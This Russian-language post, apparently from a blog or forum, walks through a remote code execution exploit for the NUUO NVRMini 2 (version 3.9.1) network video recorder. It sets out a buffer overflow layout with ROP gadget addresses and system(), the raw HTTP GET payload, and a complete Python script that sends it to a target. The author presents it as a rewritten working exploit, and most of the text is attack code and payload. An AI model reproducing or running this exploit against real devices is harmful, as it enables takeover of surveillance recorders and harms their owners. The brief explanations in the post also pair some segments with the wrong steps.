Всем привет! Сегодня я хочу разобрать эксплойт для NUUO NVRMini 2 версии 3.9.1 — переполнение буфера видео-регистратора NUUO NVRMini 2.

Информация предназначена исключительно для ознакомления. Не нарушайте законодательство.

Таблица эксплуатации:

[ / ]
[ мусор x 335 ]
[ исходное значение указателя стека + 158 ]
[ мусор x 80 ]
[ адрес (pop {r3,lr} ; bx lr) ]
[ system() адрес ]
[ адрес (mov r0,sp ; blx r3) ]
[ команда для выполнения ]

Payload:

GET / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\x30\x2a\x17\x45YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY\x08\xfc\x78\x40\x44\xe0\x17\x40\xcc\xb7\x77\x40/bin/touch,/tmp/haxHTTP/1.1\r\nHost:http://ip:port\r\n\r\n


GET / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

В этом месте мы посылаем GET-запрос в корень / + заполняем буфер на 335 байта, чтобы передавать в память уязвимые функции за пределом буфера:

\x30\x2a\x17\x45YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY

Далее, вводим адрес исходного значения стека за пределами буфера + 80 байт мусора:
\x08\xfc\x78\x40\x44\xe0\x17\x40\xcc\xb7\x77\x40/bin/touch,/tmp/hax

После этого вводим адреса уязвимых функции и в конце — команду для выполнения:
HTTP/1.1\r\nHost:http://ip:port\r\n\r\n

Здесь указывается, на какой хост и порт пойдёт запрос.

Этот payload работает так — мы как бы меняем код приложения и заставляем его исполнять те функции, которые мы ввели (вводить необходимо именно в таком порядке, так как они успешно передают в память код для выполнения). Я нашёл эксплойт для этой уязвимости, но он был нерабочий и мне пришлось его переписать. Возможно, это единственный рабочий эксплойт на эту уязвимость:

from socket import *

def main():
ip = "ip";
port = "ip";
command = "/bin/touch,/tmp/hax"
print ("Sending exploit to execute [" + command + "]\n")
buf = "GET /" + ("Z" * 335) + "\x30\x2a\x17\x45" + ("Y" * 80) + "\x08\xfc\x78\x40" + "\x44\xe0\x17\x40" + "\xcc\xb7\x77\x40" + command + " HTTP/1.1\r\nHost: " + "http://" + ip + ":" + port + "\r\n\r\n"
sock = socket(AF_INET, SOCK_STREAM)
sock.settimeout(30)
sock.connect((ip,int(port)))
sock.send(buf)
print ("Exploited\n")

if __name__ == "__main__":
main()

print ("Code release by im_not_eth1cal_hack3r =)")